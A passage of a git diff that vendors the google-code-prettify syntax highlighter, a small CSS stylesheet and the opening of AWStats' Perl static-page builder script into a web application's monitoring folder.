same style. + * + * Context is applied to the last non-whitespace, non-comment token + * recognized. + * + * Shortcut is an optional string of characters, any of which, if the first + * character, gurantee that this pattern and only this pattern matches. + * + * @param {Array} shortcutStylePatterns patterns that always start with + * a known character. Must have a shortcut string. + * @param {Array} fallthroughStylePatterns patterns that will be tried in + * order if the shortcut ones fail. May have shortcuts. + * + * @return {function (Object)} a + * function that takes source code and returns a list of decorations. + */ + function createSimpleLexer(shortcutStylePatterns, fallthroughStylePatterns) { + var shortcuts = {}; + var tokenizer; + (function () { + var allPatterns = shortcutStylePatterns.concat(fallthroughStylePatterns); + var allRegexs = []; + var regexKeys = {}; + for (var i = 0, n = allPatterns.length; i < n; ++i) { + var patternParts = allPatterns[i]; + var shortcutChars = patternParts[3]; + if (shortcutChars) { + for (var c = shortcutChars.length; --c >= 0;) { + shortcuts[shortcutChars.charAt(c)] = patternParts; + } + } + var regex = patternParts[1]; + var k = '' + regex; + if (!regexKeys.hasOwnProperty(k)) { + allRegexs.push(regex); + regexKeys[k] = null; + } + } + allRegexs.push(/[\0-\uffff]/); + tokenizer = combinePrefixPatterns(allRegexs); + })(); + + var nPatterns = fallthroughStylePatterns.length; + var notWs = /\S/; + + /** + * Lexes job.source and produces an output array job.decorations of style + * classes preceded by the position at which they start in job.source in + * order. + * + * @param {Object} job an object like {@code + * source: {string} sourceText plain text, + * basePos: {int} position of job.source in the larger chunk of + * sourceCode. + * } + */ + var decorate = function (job) { + var sourceCode = job.source, basePos = job.basePos; + /** Even entries are positions in source in ascending order. Odd enties + * are style markers (e.g., PR_COMMENT) that run from that position until + * the end. + * @type {Array.<number|string>} + */ + var decorations = [basePos, PR_PLAIN]; + var pos = 0; // index into sourceCode + var tokens = sourceCode.match(tokenizer) || []; + var styleCache = {}; + + for (var ti = 0, nTokens = tokens.length; ti < nTokens; ++ti) { + var token = tokens[ti]; + var style = styleCache[token]; + var match = void 0; + + var isEmbedded; + if (typeof style === 'string') { + isEmbedded = false; + } else { + var patternParts = shortcuts[token.charAt(0)]; + if (patternParts) { + match = token.match(patternParts[1]); + style = patternParts[0]; + } else { + for (var i = 0; i < nPatterns; ++i) { + patternParts = fallthroughStylePatterns[i]; + match = token.match(patternParts[1]); + if (match) { + style = patternParts[0]; + break; + } + } + + if (!match) { // make sure that we make progress + style = PR_PLAIN; + } + } + + isEmbedded = style.length >= 5 && 'lang-' === style.substring(0, 5); + if (isEmbedded && !(match && typeof match[1] === 'string')) { + isEmbedded = false; + style = PR_SOURCE; + } + + if (!isEmbedded) { styleCache[token] = style; } + } + + var tokenStart = pos; + pos += token.length; + + if (!isEmbedded) { + decorations.push(basePos + tokenStart, style); + } else { // Treat group 1 as an embedded block of source code. + var embeddedSource = match[1]; + var embeddedSourceStart = token.indexOf(embeddedSource); + var embeddedSourceEnd = embeddedSourceStart + embeddedSource.length; + if (match[2]) { + // If embeddedSource can be blank, then it would match at the + // beginning which would cause us to infinitely recurse on the + // entire token, so we catch the right context in match[2]. + embeddedSourceEnd = token.length - match[2].length; + embeddedSourceStart = embeddedSourceEnd - embeddedSource.length; + } + var lang = style.substring(5); + // Decorate the left of the embedded source + appendDecorations( + basePos + tokenStart, + token.substring(0, embeddedSourceStart), + decorate, decorations); + // Decorate the embedded source + appendDecorations( + basePos + tokenStart + embeddedSourceStart, + embeddedSource, + langHandlerForExtension(lang, embeddedSource), + decorations); + // Decorate the right of the embedded section + appendDecorations( + basePos + tokenStart + embeddedSourceEnd, + token.substring(embeddedSourceEnd), + decorate, decorations); + } + } + job.decorations = decorations; + }; + return decorate; + } + + /** returns a function that produces a list of decorations from source text. + * + * This code treats ", ', and ` as string delimiters, and \ as a string + * escape. It does not recognize perl's qq() style strings. + * It has no special handling for double delimiter escapes as in basic, or + * the tripled delimiters used in python, but should work on those regardless + * although in those cases a single string literal may be broken up into + * multiple adjacent string literals. + * + * It recognizes C, C++, and shell style comments. + * + * @param {Object} options a set of optional parameters. + * @return {function (Object)} a function that examines the source code + * in the input job and builds the decoration list. + */ + function sourceDecorator(options) { + var shortcutStylePatterns = [], fallthroughStylePatterns = []; + if (options['tripleQuotedStrings']) { + // '''multi-line-string''', 'single-line-string', and double-quoted + shortcutStylePatterns.push( + [PR_STRING, /^(?:\'\'\'(?:[^\'\\]|\\[\s\S]|\'{1,2}(?=[^\']))*(?:\'\'\'|$)|\"\"\"(?:[^\"\\]|\\[\s\S]|\"{1,2}(?=[^\"]))*(?:\"\"\"|$)|\'(?:[^\\\']|\\[\s\S])*(?:\'|$)|\"(?:[^\\\"]|\\[\s\S])*(?:\"|$))/, + null, '\'"']); + } else if (options['multiLineStrings']) { + // 'multi-line-string', "multi-line-string" + shortcutStylePatterns.push( + [PR_STRING, /^(?:\'(?:[^\\\']|\\[\s\S])*(?:\'|$)|\"(?:[^\\\"]|\\[\s\S])*(?:\"|$)|\`(?:[^\\\`]|\\[\s\S])*(?:\`|$))/, + null, '\'"`']); + } else { + // 'single-line-string', "single-line-string" + shortcutStylePatterns.push( + [PR_STRING, + /^(?:\'(?:[^\\\'\r\n]|\\.)*(?:\'|$)|\"(?:[^\\\"\r\n]|\\.)*(?:\"|$))/, + null, '"\'']); + } + if (options['verbatimStrings']) { + // verbatim-string-literal production from the C# grammar. See issue 93. + fallthroughStylePatterns.push( + [PR_STRING, /^@\"(?:[^\"]|\"\")*(?:\"|$)/, null]); + } + if (options['hashComments']) { + if (options['cStyleComments']) { + // Stop C preprocessor declarations at an unclosed open comment + shortcutStylePatterns.push( + [PR_COMMENT, /^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\b|[^\r\n]*)/, + null, '#']); + fallthroughStylePatterns.push( + [PR_STRING, + /^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h|[a-z]\w*)>/, + null]); + } else { + shortcutStylePatterns.push([PR_COMMENT, /^#[^\r\n]*/, null, '#']); + } + } + if (options['cStyleComments']) { + fallthroughStylePatterns.push([PR_COMMENT, /^\/\/[^\r\n]*/, null]); + fallthroughStylePatterns.push( + [PR_COMMENT, /^\/\*[\s\S]*?(?:\*\/|$)/, null]); + } + if (options['regexLiterals']) { + var REGEX_LITERAL = ( + // A regular expression literal starts with a slash that is + // not followed by * or / so that it is not confused with + // comments. + '/(?=[^/*])' + // and then contains any number of raw characters, + + '(?:[^/\\x5B\\x5C]' + // escape sequences (\x5C), + + '|\\x5C[\\s\\S]' + // or non-nesting character sets (\x5B\x5D); + + '|\\x5B(?:[^\\x5C\\x5D]|\\x5C[\\s\\S])*(?:\\x5D|$))+' + // finally closed by a /. + + '/'); + fallthroughStylePatterns.push( + ['lang-regex', + new RegExp('^' + REGEXP_PRECEDER_PATTERN + '(' + REGEX_LITERAL + ')') + ]); + } + + var keywords = options['keywords'].replace(/^\s+|\s+$/g, ''); + if (keywords.length) { + fallthroughStylePatterns.push( + [PR_KEYWORD, + new RegExp('^(?:' + keywords.replace(/\s+/g, '|') + ')\\b'), null]); + } + + shortcutStylePatterns.push([PR_PLAIN, /^\s+/, null, ' \r\n\t\xA0']); + fallthroughStylePatterns.push( + // TODO(mikesamuel): recognize non-latin letters and numerals in idents + [PR_LITERAL, /^@[a-z_$][a-z_$@0-9]*/i, null], + [PR_TYPE, /^@?[A-Z]+[a-z][A-Za-z_$@0-9]*/, null], + [PR_PLAIN, /^[a-z_$][a-z_$@0-9]*/i, null], + [PR_LITERAL, + new RegExp( + '^(?:' + // A hex number + + '0x[a-f0-9]+' + // or an octal or decimal number, + + '|(?:\\d(?:_\\d+)*\\d*(?:\\.\\d*)?|\\.\\d\\+)' + // possibly in scientific notation + + '(?:e[+\\-]?\\d+)?' + + ')' + // with an optional modifier like UL for unsigned long + + '[a-z]*', 'i'), + null, '0123456789'], + [PR_PUNCTUATION, /^.[^\s\w\.$@\'\"\`\/\#]*/, null]); + + return createSimpleLexer(shortcutStylePatterns, fallthroughStylePatterns); + } + + var decorateSource = sourceDecorator({ + 'keywords': ALL_KEYWORDS, + 'hashComments': true, + 'cStyleComments': true, + 'multiLineStrings': true, + 'regexLiterals': true + }); + + /** Breaks {@code job.source} around style boundaries in + * {@code job.decorations} while re-interleaving {@code job.extractedTags}, + * and leaves the result in {@code job.prettyPrintedHtml}. + * @param {Object} job like { + * source: {string} source as plain text, + * extractedTags: {Array.<number|string>} extractedTags chunks of raw + * html preceded by their position in {@code job.source} + * in order + * decorations: {Array.<number|string} an array of style classes preceded + * by the position at which they start in job.source in order + * } + * @private + */ + function recombineTagsAndDecorations(job) { + var sourceText = job.source; + var extractedTags = job.extractedTags; + var decorations = job.decorations; + + var html = []; + // index past the last char in sourceText written to html + var outputIdx = 0; + + var openDecoration = null; + var currentDecoration = null; + var tagPos = 0; // index into extractedTags + var decPos = 0; // index into decorations + var tabExpander = makeTabExpander(window['PR_TAB_WIDTH']); + + var adjacentSpaceRe = /([\r\n ]) /g; + var startOrSpaceRe = /(^| ) /gm; + var newlineRe = /\r\n?|\n/g; + var trailingSpaceRe = /[ \r\n]$/; + var lastWasSpace = true; // the last text chunk emitted ended with a space. + + // A helper function that is responsible for opening sections of decoration + // and outputing properly escaped chunks of source + function emitTextUpTo(sourceIdx) { + if (sourceIdx > outputIdx) { + if (openDecoration && openDecoration !== currentDecoration) { + // Close the current decoration + html.push('</span>'); + openDecoration = null; + } + if (!openDecoration && currentDecoration) { + openDecoration = currentDecoration; + html.push('<span class="', openDecoration, '">'); + } + // This interacts badly with some wikis which introduces paragraph tags + // into pre blocks for some strange reason. + // It's necessary for IE though which seems to lose the preformattedness + // of <pre> tags when their innerHTML is assigned. + // http://stud3.tuwien.ac.at/~e0226430/innerHtmlQuirk.html + // and it serves to undo the conversion of <br>s to newlines done in + // chunkify. + var htmlChunk = textToHtml( + tabExpander(sourceText.substring(outputIdx, sourceIdx))) + .replace(lastWasSpace + ? startOrSpaceRe + : adjacentSpaceRe, '$1 '); + // Keep track of whether we need to escape space at the beginning of the + // next chunk. + lastWasSpace = trailingSpaceRe.test(htmlChunk); + // IE collapses multiple adjacient <br>s into 1 line break. + // Prefix every <br> with ' ' can prevent such IE's behavior. + var lineBreakHtml = window['_pr_isIE6']() ? ' <br />' : '<br />'; + html.push(htmlChunk.replace(newlineRe, lineBreakHtml)); + outputIdx = sourceIdx; + } + } + + while (true) { + // Determine if we're going to consume a tag this time around. Otherwise + // we consume a decoration or exit. + var outputTag; + if (tagPos < extractedTags.length) { + if (decPos < decorations.length) { + // Pick one giving preference to extractedTags since we shouldn't open + // a new style that we're going to have to immediately close in order + // to output a tag. + outputTag = extractedTags[tagPos] <= decorations[decPos]; + } else { + outputTag = true; + } + } else { + outputTag = false; + } + // Consume either a decoration or a tag or exit. + if (outputTag) { + emitTextUpTo(extractedTags[tagPos]); + if (openDecoration) { + // Close the current decoration + html.push('</span>'); + openDecoration = null; + } + html.push(extractedTags[tagPos + 1]); + tagPos += 2; + } else if (decPos < decorations.length) { + emitTextUpTo(decorations[decPos]); + currentDecoration = decorations[decPos + 1]; + decPos += 2; + } else { + break; + } + } + emitTextUpTo(sourceText.length); + if (openDecoration) { + html.push('</span>'); + } + job.prettyPrintedHtml = html.join(''); + } + + /** Maps language-specific file extensions to handlers. */ + var langHandlerRegistry = {}; + /** Register a language handler for the given file extensions. + * @param {function (Object)} handler a function from source code to a list + * of decorations. Takes a single argument job which describes the + * state of the computation. The single parameter has the form + * {@code { + * source: {string} as plain text. + * decorations: {Array.<number|string>} an array of style classes + * preceded by the position at which they start in + * job.source in order. + * The language handler should assigned this field. + * basePos: {int} the position of source in the larger source chunk. + * All positions in the output decorations array are relative + * to the larger source chunk. + * } } + * @param {Array.<string>} fileExtensions + */ + function registerLangHandler(handler, fileExtensions) { + for (var i = fileExtensions.length; --i >= 0;) { + var ext = fileExtensions[i]; + if (!langHandlerRegistry.hasOwnProperty(ext)) { + langHandlerRegistry[ext] = handler; + } else if ('console' in window) { + console.warn('cannot override language handler %s', ext); + } + } + } + function langHandlerForExtension(extension, source) { + if (!(extension && langHandlerRegistry.hasOwnProperty(extension))) { + // Treat it as markup if the first non whitespace character is a < and + // the last non-whitespace character is a >. + extension = /^\s*</.test(source) + ? 'default-markup' + : 'default-code'; + } + return langHandlerRegistry[extension]; + } + registerLangHandler(decorateSource, ['default-code']); + registerLangHandler( + createSimpleLexer( + [], + [ + [PR_PLAIN, /^[^<?]+/], + [PR_DECLARATION, /^<!\w[^>]*(?:>|$)/], + [PR_COMMENT, /^<\!--[\s\S]*?(?:-\->|$)/], + // Unescaped content in an unknown language + ['lang-', /^<\?([\s\S]+?)(?:\?>|$)/], + ['lang-', /^<%([\s\S]+?)(?:%>|$)/], + [PR_PUNCTUATION, /^(?:<[%?]|[%?]>)/], + ['lang-', /^<xmp\b[^>]*>([\s\S]+?)<\/xmp\b[^>]*>/i], + // Unescaped content in javascript. (Or possibly vbscript). + ['lang-js', /^<script\b[^>]*>([\s\S]*?)(<\/script\b[^>]*>)/i], + // Contains unescaped stylesheet content + ['lang-css', /^<style\b[^>]*>([\s\S]*?)(<\/style\b[^>]*>)/i], + ['lang-in.tag', /^(<\/?[a-z][^<>]*>)/i] + ]), + ['default-markup', 'htm', 'html', 'mxml', 'xhtml', 'xml', 'xsl']); + registerLangHandler( + createSimpleLexer( + [ + [PR_PLAIN, /^[\s]+/, null, ' \t\r\n'], + [PR_ATTRIB_VALUE, /^(?:\"[^\"]*\"?|\'[^\']*\'?)/, null, '\"\''] + ], + [ + [PR_TAG, /^^<\/?[a-z](?:[\w.:-]*\w)?|\/?>$/i], + [PR_ATTRIB_NAME, /^(?!style[\s=]|on)[a-z](?:[\w:-]*\w)?/i], + ['lang-uq.val', /^=\s*([^>\'\"\s]*(?:[^>\'\"\s\/]|\/(?=\s)))/], + [PR_PUNCTUATION, /^[=<>\/]+/], + ['lang-js', /^on\w+\s*=\s*\"([^\"]+)\"/i], + ['lang-js', /^on\w+\s*=\s*\'([^\']+)\'/i], + ['lang-js', /^on\w+\s*=\s*([^\"\'>\s]+)/i], + ['lang-css', /^style\s*=\s*\"([^\"]+)\"/i], + ['lang-css', /^style\s*=\s*\'([^\']+)\'/i], + ['lang-css', /^style\s*=\s*([^\"\'>\s]+)/i] + ]), + ['in.tag']); + registerLangHandler( + createSimpleLexer([], [[PR_ATTRIB_VALUE, /^[\s\S]+/]]), ['uq.val']); + registerLangHandler(sourceDecorator({ + 'keywords': CPP_KEYWORDS, + 'hashComments': true, + 'cStyleComments': true + }), ['c', 'cc', 'cpp', 'cxx', 'cyc', 'm']); + registerLangHandler(sourceDecorator({ + 'keywords': 'null true false' + }), ['json']); + registerLangHandler(sourceDecorator({ + 'keywords': CSHARP_KEYWORDS, + 'hashComments': true, + 'cStyleComments': true, + 'verbatimStrings': true + }), ['cs']); + registerLangHandler(sourceDecorator({ + 'keywords': JAVA_KEYWORDS, + 'cStyleComments': true + }), ['java']); + registerLangHandler(sourceDecorator({ + 'keywords': SH_KEYWORDS, + 'hashComments': true, + 'multiLineStrings': true + }), ['bsh', 'csh', 'sh']); + registerLangHandler(sourceDecorator({ + 'keywords': PYTHON_KEYWORDS, + 'hashComments': true, + 'multiLineStrings': true, + 'tripleQuotedStrings': true + }), ['cv', 'py']); + registerLangHandler(sourceDecorator({ + 'keywords': PERL_KEYWORDS, + 'hashComments': true, + 'multiLineStrings': true, + 'regexLiterals': true + }), ['perl', 'pl', 'pm']); + registerLangHandler(sourceDecorator({ + 'keywords': RUBY_KEYWORDS, + 'hashComments': true, + 'multiLineStrings': true, + 'regexLiterals': true + }), ['rb']); + registerLangHandler(sourceDecorator({ + 'keywords': JSCRIPT_KEYWORDS, + 'cStyleComments': true, + 'regexLiterals': true + }), ['js']); + registerLangHandler( + createSimpleLexer([], [[PR_STRING, /^[\s\S]+/]]), ['regex']); + + function applyDecorator(job) { + var sourceCodeHtml = job.sourceCodeHtml; + var opt_langExtension = job.langExtension; + + // Prepopulate output in case processing fails with an exception. + job.prettyPrintedHtml = sourceCodeHtml; + + try { + // Extract tags, and convert the source code to plain text. + var sourceAndExtractedTags = extractTags(sourceCodeHtml); + /** Plain text. @type {string} */ + var source = sourceAndExtractedTags.source; + job.source = source; + job.basePos = 0; + + /** Even entries are positions in source in ascending order. Odd entries + * are tags that were extracted at that position. + * @type {Array.<number|string>} + */ + job.extractedTags = sourceAndExtractedTags.tags; + + // Apply the appropriate language handler + langHandlerForExtension(opt_langExtension, source)(job); + // Integrate the decorations and tags back into the source code to produce + // a decorated html string which is left in job.prettyPrintedHtml. + recombineTagsAndDecorations(job); + } catch (e) { + if ('console' in window) { + console.log(e); + console.trace(); + } + } + } + + function prettyPrintOne(sourceCodeHtml, opt_langExtension) { + var job = { + sourceCodeHtml: sourceCodeHtml, + langExtension: opt_langExtension + }; + applyDecorator(job); + return job.prettyPrintedHtml; + } + + function prettyPrint(opt_whenDone) { + var isIE678 = window['_pr_isIE6'](); + var ieNewline = isIE678 === 6 ? '\r\n' : '\r'; + // See bug 71 and http://stackoverflow.com/questions/136443/why-doesnt-ie7- + + // fetch a list of nodes to rewrite + var codeSegments = [ + document.getElementsByTagName('pre'), + document.getElementsByTagName('code'), + document.getElementsByTagName('xmp') ]; + var elements = []; + for (var i = 0; i < codeSegments.length; ++i) { + for (var j = 0, n = codeSegments[i].length; j < n; ++j) { + elements.push(codeSegments[i][j]); + } + } + codeSegments = null; + + var clock = Date; + if (!clock['now']) { + clock = { 'now': function () { return (new Date).getTime(); } }; + } + + // The loop is broken into a series of continuations to make sure that we + // don't make the browser unresponsive when rewriting a large page. + var k = 0; + var prettyPrintingJob; + + function doWork() { + var endTime = (window['PR_SHOULD_USE_CONTINUATION'] ? + clock.now() + 250 /* ms */ : + Infinity); + for (; k < elements.length && clock.now() < endTime; k++) { + var cs = elements[k]; + if (cs.className && cs.className.indexOf('prettyprint') >= 0) { + // If the classes includes a language extensions, use it. + // Language extensions can be specified like + // <pre class="prettyprint lang-cpp"> + // the language extension "cpp" is used to find a language handler as + // passed to PR_registerLangHandler. + var langExtension = cs.className.match(/\blang-(\w+)\b/); + if (langExtension) { langExtension = langExtension[1]; } + + // make sure this is not nested in an already prettified element + var nested = false; + for (var p = cs.parentNode; p; p = p.parentNode) { + if ((p.tagName === 'pre' || p.tagName === 'code' || + p.tagName === 'xmp') && + p.className && p.className.indexOf('prettyprint') >= 0) { + nested = true; + break; + } + } + if (!nested) { + // fetch the content as a snippet of properly escaped HTML. + // Firefox adds newlines at the end. + var content = getInnerHtml(cs); + content = content.replace(/(?:\r\n?|\n)$/, ''); + + // do the pretty printing + prettyPrintingJob = { + sourceCodeHtml: content, + langExtension: langExtension, + sourceNode: cs + }; + applyDecorator(prettyPrintingJob); + replaceWithPrettyPrintedHtml(); + } + } + } + if (k < elements.length) { + // finish up in a continuation + setTimeout(doWork, 250); + } else if (opt_whenDone) { + opt_whenDone(); + } + } + + function replaceWithPrettyPrintedHtml() { + var newContent = prettyPrintingJob.prettyPrintedHtml; + if (!newContent) { return; } + var cs = prettyPrintingJob.sourceNode; + + // push the prettified html back into the tag. + if (!isRawContent(cs)) { + // just replace the old html with the new + cs.innerHTML = newContent; + } else { + // we need to change the tag to a <pre> since <xmp>s do not allow + // embedded tags such as the span tags used to attach styles to + // sections of source code. + var pre = document.createElement('PRE'); + for (var i = 0; i < cs.attributes.length; ++i) { + var a = cs.attributes[i]; + if (a.specified) { + var aname = a.name.toLowerCase(); + if (aname === 'class') { + pre.className = a.value; // For IE 6 + } else { + pre.setAttribute(a.name, a.value); + } + } + } + pre.innerHTML = newContent; + + // remove the old + cs.parentNode.replaceChild(pre, cs); + cs = pre; + } + + // Replace <br>s with line-feeds so that copying and pasting works + // on IE 6. + // Doing this on other browsers breaks lots of stuff since \r\n is + // treated as two newlines on Firefox, and doing this also slows + // down rendering. + if (isIE678 && cs.tagName === 'PRE') { + var lineBreaks = cs.getElementsByTagName('br'); + for (var j = lineBreaks.length; --j >= 0;) { + var lineBreak = lineBreaks[j]; + lineBreak.parentNode.replaceChild( + document.createTextNode(ieNewline), lineBreak); + } + } + } + + doWork(); + } + + window['PR_normalizedHtml'] = normalizedHtml; + window['prettyPrintOne'] = prettyPrintOne; + window['prettyPrint'] = prettyPrint; + window['PR'] = { + 'combinePrefixPatterns': combinePrefixPatterns, + 'createSimpleLexer': createSimpleLexer, + 'registerLangHandler': registerLangHandler, + 'sourceDecorator': sourceDecorator, + 'PR_ATTRIB_NAME': PR_ATTRIB_NAME, + 'PR_ATTRIB_VALUE': PR_ATTRIB_VALUE, + 'PR_COMMENT': PR_COMMENT, + 'PR_DECLARATION': PR_DECLARATION, + 'PR_KEYWORD': PR_KEYWORD, + 'PR_LITERAL': PR_LITERAL, + 'PR_NOCODE': PR_NOCODE, + 'PR_PLAIN': PR_PLAIN, + 'PR_PUNCTUATION': PR_PUNCTUATION, + 'PR_SOURCE': PR_SOURCE, + 'PR_STRING': PR_STRING, + 'PR_TAG': PR_TAG, + 'PR_TYPE': PR_TYPE + }; +})(); diff --git a/src/main/webapp/monitoramento/docs/styles.css b/src/main/webapp/monitoramento/docs/styles.css new file mode 100644 index 0000000..584b37f --- /dev/null +++ b/src/main/webapp/monitoramento/docs/styles.css @@ -0,0 +1,28 @@ +body { + background-color: #FFFFFF; + font: 14px verdana,arial; + font-family: sans-serif; + margin-top: 4; + margin-bottom: 4; + margin-right: 6; + margin-left: 6; +} +a:link { font: 14px verdana,arial; color: #2200C0; font-family: sans-serif; text-decoration: none; } +a:visited { font: 14px verdana,arial; color: #2200C0; font-family: sans-serif; text-decoration: none; } +a:active { font: 14px verdana,arial; color: #2200C0; font-family: sans-serif; text-decoration: none; } +a:hover { font: 14px verdana,arial; color: #2200C0; font-family: sans-serif; text-decoration: underline; } + +.CHead { background-color: #9999CC; } +.CTextAreaConf { font: 11px verdana,arial; color: #202020; font-family: sans-serif; text-decoration: none; } + +td.CFAQ { font: 14px verdana,arial; color: #000000; font-family: sans-serif; text-decoration: none; } +.CProblem { font: 14px verdana,arial; color: #660000; font-family: sans-serif; text-decoration: none; } +.CSolution { font: 14px verdana,arial; color: #448866; font-family: sans-serif; text-decoration: none; } + +input { + font-family: arial,verdana,helvetica, sans-serif; + font-weight: normal; + border: 1px solid #AAAACC; + background-position : bottom; + font: 12px verdana,arial; +} diff --git a/src/main/webapp/monitoramento/tools/awstats_buildstaticpages.pl b/src/main/webapp/monitoramento/tools/awstats_buildstaticpages.pl new file mode 100755 index 0000000..0d84aea --- /dev/null +++ b/src/main/webapp/monitoramento/tools/awstats_buildstaticpages.pl @@ -0,0 +1,483 @@ +#!/usr/bin/perl +#------------------------------------------------------------------------------ +# Launch awstats with -staticlinks option to build all static pages. +# See COPYING.TXT file about AWStats GNU General Public License. +#------------------------------------------------------------------------------ +# $Revision: 1.44 $ - $Author: eldy $ - $Date: 2012/10/17 09:22:48 $ + +#$|=1; +#use warnings; # Must be used in test mode only. This reduce a little process speed +#use diagnostics; # Must be used in test mode only. This reduce a lot of process speed +use strict;no strict "refs"; +use Time::Local; # use Time::Local 'timelocal_nocheck' is faster but not supported by all Time::Local modules + + +#------------------------------------------------------------------------------ +# Defines +#------------------------------------------------------------------------------ +my $REVISION='$Revision: 1.44 $'; $REVISION =~ /\s(.*)\s/; $REVISION=$1; +my $VERSION="1.2 (build $REVISION)"; + +# ---------- Init variables -------- +my $Debug=0; +my $DIR; +my $PROG; +my $Extension; +my $SiteConfig; +my $Update=0; +my $BuildPDF=0; +my $BuildDate=0; +my $Lang; +my $YearRequired; +my $MonthRequired; +my $DayRequired; +my $Awstats='awstats.pl'; +my $AwstatsDir=''; +my $HtmlDoc='htmldoc'; # ghtmldoc.exe +my $StaticExt='html'; +my $DirIcons=''; +my $DirConfig=''; +my $OutputDir=''; +my $OutputSuffix; +my $OutputFile; +my @pages=(); +my @OutputList=(); +my $FileConfig; +my $FileSuffix; +my $DatabaseBreak; +use vars qw/ +$ShowAuthenticatedUsers $ShowFileSizesStats $ShowScreenSizeStats $ShowSMTPErrorsStats +$ShowEMailSenders $ShowEMailReceivers $ShowWormsStats $ShowClusterStats +$ShowMenu $ShowMonthStats $ShowDaysOfMonthStats $ShowDaysOfWeekStats +$ShowHoursStats $ShowDomainsStats $ShowHostsStats +$ShowRobotsStats $ShowSessionsStats $ShowPagesStats $ShowFileTypesStats +$ShowOSStats $ShowBrowsersStats $ShowDownloadsStats $ShowOriginStats +$ShowKeyphrasesStats $ShowKeywordsStats $ShowMiscStats $ShowHTTPErrorsStats +$BuildReportFormat +@ExtraName +@PluginsToLoad +/; +@ExtraName = (); +@PluginsToLoad = (); +# ----- Time vars ----- +use vars qw/ +$starttime +$nowtime $tomorrowtime +$nowweekofmonth $nowweekofyear $nowdaymod $nowsmallyear +$nowsec $nowmin $nowhour $nowday $nowmonth $nowyear $nowwday $nowyday $nowns +/; + + +#------------------------------------------------------------------------------ +# Functions +#------------------------------------------------------------------------------ + +#------------------------------------------------------------------------------ +# Function: Write error message and exit +# Parameters: $message +# Input: None +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub error { + print "Error: $_[0].\n"; + exit 1; +} + +#------------------------------------------------------------------------------ +# Function: Write a warning message +# Parameters: $message +# Input: $WarningMessage %HTMLOutput +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub warning { + my $messagestring=shift; + debug("$messagestring",1); +# if ($WarningMessages) { +# if ($HTMLOutput) { +# $messagestring =~ s/\n/\<br \/\>/g; +# print "$messagestring<br />\n"; +# } +# else { + print "$messagestring\n"; +# } +# } +} + +#------------------------------------------------------------------------------ +# Function: Write debug message and exit +# Parameters: $string $level +# Input: %HTMLOutput $Debug=required level $DEBUGFORCED=required level forced +# Output: None +# Return: None +#------------------------------------------------------------------------------ +sub debug { + my $level = $_[1] || 1; + if ($Debug >= $level) { + my $debugstring = $_[0]; + if ($ENV{"GATEWAY_INTERFACE"}) { $debugstring =~ s/^ /   /; $debugstring .= "<br />"; } + print localtime(time)." - DEBUG $level - $debugstring\n"; + } +} + +#------------------------------------------------------------------------------ +# Function: Read config file +# Parameters: None or configdir to scan +# Input: $DIR $PROG $SiteConfig +# Output: Global variables +# Return: - +#------------------------------------------------------------------------------ +sub Read_Config { + # Check config file in common possible directories : + # Windows : "$DIR" (same dir than awstats.pl) + # Standard, Mandrake and Debian package : "/etc/awstats" + # Other possible directories : "/usr/local/etc/awstats", "/etc" + # FHS standard, Suse package : "/etc/opt/awstats" + my $configdir=shift; + my @PossibleConfigDir=(); + + if ($configdir) { @PossibleConfigDir=("$configdir"); } + else { @PossibleConfigDir=("$AwstatsDir","$DIR","/etc/awstats","/usr/local/etc/awstats","/etc","/etc/opt/awstats"); } + + # Open config file + $FileConfig=$FileSuffix=''; + foreach my $dir (@PossibleConfigDir) { + my $searchdir=$dir; + if ($searchdir && $searchdir !~ /[\\\/]$/) { $searchdir .= "/"; } + if (open(CONFIG,"${searchdir}awstats.$SiteConfig.conf")) { $FileConfig="${searchdir}awstats.$SiteConfig.conf"; $FileSuffix=".$SiteConfig"; last; } + if (open(CONFIG,"${searchdir}awstats.conf")) { $FileConfig="${searchdir}awstats.conf"; $FileSuffix=''; last; } + } + if (! $FileConfig) { error("Couldn't open config file \"awstats.$SiteConfig.conf\" nor \"awstats.conf\" after searching in path \"".join(',',@PossibleConfigDir)."\": $!"); } + + # Analyze config file content and close it + &Parse_Config( *CONFIG , 1 , $FileConfig); + close CONFIG; +} + +#------------------------------------------------------------------------------ +# Function: Parse content of a config file +# Parameters: opened file handle, depth level, file name +# Input: - +# Output: Global variables +# Return: - +#------------------------------------------------------------------------------ +sub Parse_Config { + my ( $confighandle ) = $_[0]; + my $level = $_[1]; + my $configFile = $_[2]; + my $versionnum=0; + my $conflinenb=0; + + if ($level > 10) { error("$PROG can't read down more than 10 level of includes. Check that no 'included' config files include their parent config file (this cause infinite loop)."); } + + while (<$confighandle>) { + chomp $_; s/\r//; + $conflinenb++; + + # Extract version from first line + if (! $versionnum && $_ =~ /^# AWSTATS CONFIGURE FILE (\d+).(\d+)/i) { + $versionnum=($1*1000)+$2; + #if ($Debug) { debug(" Configure file version is $versionnum",1); } + next; + } + + if ($_ =~ /^\s*$/) { next; } + + # Check includes + if ($_ =~ /^Include "([^\"]+)"/ || $_ =~ /^#include "([^\"]+)"/) { # #include kept for backward compatibility + my $includeFile = $1; + if ($Debug) { debug("Found an include : $includeFile",2); } + if ( $includeFile !~ /^[\\\/]/ ) { + # Correct relative include files + if ($FileConfig =~ /^(.*[\\\/])[^\\\/]*$/) { $includeFile = "$1$includeFile"; } + } + if ($level > 1) { + warning("Warning: Perl versions before 5.6 cannot handle nested includes"); + next; + } + local( *CONFIG_INCLUDE ); # To avoid having parent file closed when include file is closed + if ( open( CONFIG_INCLUDE, $includeFile ) ) { + &Parse_Config( *CONFIG_INCLUDE , $level+1, $includeFile); + close( CONFIG_INCLUDE ); + } + else { + error("Could not open include file: $includeFile" ); + } + next; + } + + # Remove comments + if ($_ =~ /^\s*#/) { next; } + $_ =~ s/\s#.*$//; + + # Extract param and value + my ($param,$value)=split(/=/,$_,2); + $param =~ s/^\s+//; $param =~ s/\s+$//; + + # If not a param=value, try with next line + if (! $param) { warning("Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."); next; } + if (! defined $value) { warning("Warning: Syntax error line $conflinenb in file '$configFile'. Config line is ignored."); next; } + + if ($value) { + $value =~ s/^\s+//; $value =~ s/\s+$//; + $value =~ s/^\"//; $value =~ s/\";?$//; + # Replace __MONENV__ with value of environnement variable MONENV + # Must be able to replace __VAR_1____VAR_2__ + while ($value =~ /__([^\s_]+(?:_[^\s_]+)*)__/) { my $var=$1; $value =~ 